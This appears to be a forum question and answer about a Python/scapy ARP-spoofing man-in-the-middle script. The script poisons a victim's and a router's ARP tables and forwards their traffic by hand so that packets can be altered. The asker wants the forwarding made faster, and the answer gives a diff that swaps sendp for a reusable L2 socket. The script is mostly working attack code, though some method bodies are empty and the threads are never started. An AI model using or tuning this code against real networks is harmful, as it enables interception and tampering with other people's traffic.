I've followed a few tutorials on ARP Spoofing with Python/scapy. They all suggest activating the OS IP Forwarding in Linux:

echo 1 > /proc/sys/net/ipv4/ip_forward

This worked fine for me but has the disadvantage that I can't tamper with packets. Since I will need to demonstrate modifying a packet before sending it along I need to handle the forwarding myself. I came up with this:

from scapy.all import *
from threading import Thread
import time

victim_ip = ''
victim_mac = 'b0:34:95:ee:ee:b6'
router_ip = ''
router_mac = 'C0:3E:0F:29:4F:EC'
attack_ip = ''
attack_mac = '08:00:27:80:bd:26'

poison_timer = .1

def monitor_callback(pkt):
    # Only handle IP Layer packets
    if IP in pkt:
        # Forward packets from the victim to the router
        if pkt[Ether].src == victim_mac:
            pkt[Ether].dst = router_mac
            pkt[Ether].src = attack_mac
            sendp(fragment(pkt), verbose=0)
        # Packets destined to the victim are forwarded
        elif pkt[IP].dst == victim_ip:
            pkt[Ether].dst = victim_mac
            pkt[Ether].src = attack_mac
            sendp(fragment(pkt), verbose=0)

class monitor_incoming(Thread):
    def __init__(self):

    def run(self):
        sniff(prn=monitor_callback, filter="ip", store=0)

class poison(Thread):
    def __init__(self):

    def run(self):
        # Tell the victim 'router_ip is at attack_mac'
        router_is_at = ARP(op=2, psrc=router_ip, pdst=victim_ip, hwdst=attack_mac)

        # Tell the router 'victim_ip is at attack_mac'
        victim_is_at = ARP(op=2, psrc=victim_ip, pdst=router_ip, hwdst=attack_mac)

        while True:
            send(router_is_at, verbose=0)
            send(victim_is_at, verbose=0)

if __name__ == '__main__':
    monitor_incoming = monitor_incoming()

    poison = poison()

The monitor_callback method is called every time an incoming packet arrives.

The program technically works. The router and the victim's ARP tables are poisoned and packets are "forwarded" past the middle-man.

The forwarding seems to be too slow though. Looking at Wireshark, it appears that the TCP Timer on both the victim and the server times out causing them to resend their packets before they're delivered. This leads to some kind of loop where they're each retransmitting and ACKing out sync packets. The bottom effect is that the victim can't even load a single small web page:

enter image description here

What is wrong with my program? It should technically be feasible to handle this in Python and still have a workable (even if slower) connection allowing the victim to browse the net.

(Note: I'm posting this on Code Review because the program technically works, even if it's not currently usable in practice, likely due to low optimization)


I had the same problem. You need to set up a reusable scapy.L2socket socket and call send(pkt) on it, instead of using sendp.

It is much faster. Here you can see how to do it:


The diff/change from using a normal sendp looks like this:

@@ -27,6 +27,7 @@ class replay:
     def run(self):
         # open filename
         filedesc = open(self.filename, 'r')
+        s = conf.L2socket(iface=self.iface)
         # loop on read line
         for line in filedesc:
             # Build and send packet
-            sendp(pkt, iface = self.iface, verbose = verbose)
+            s.send(pkt)

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.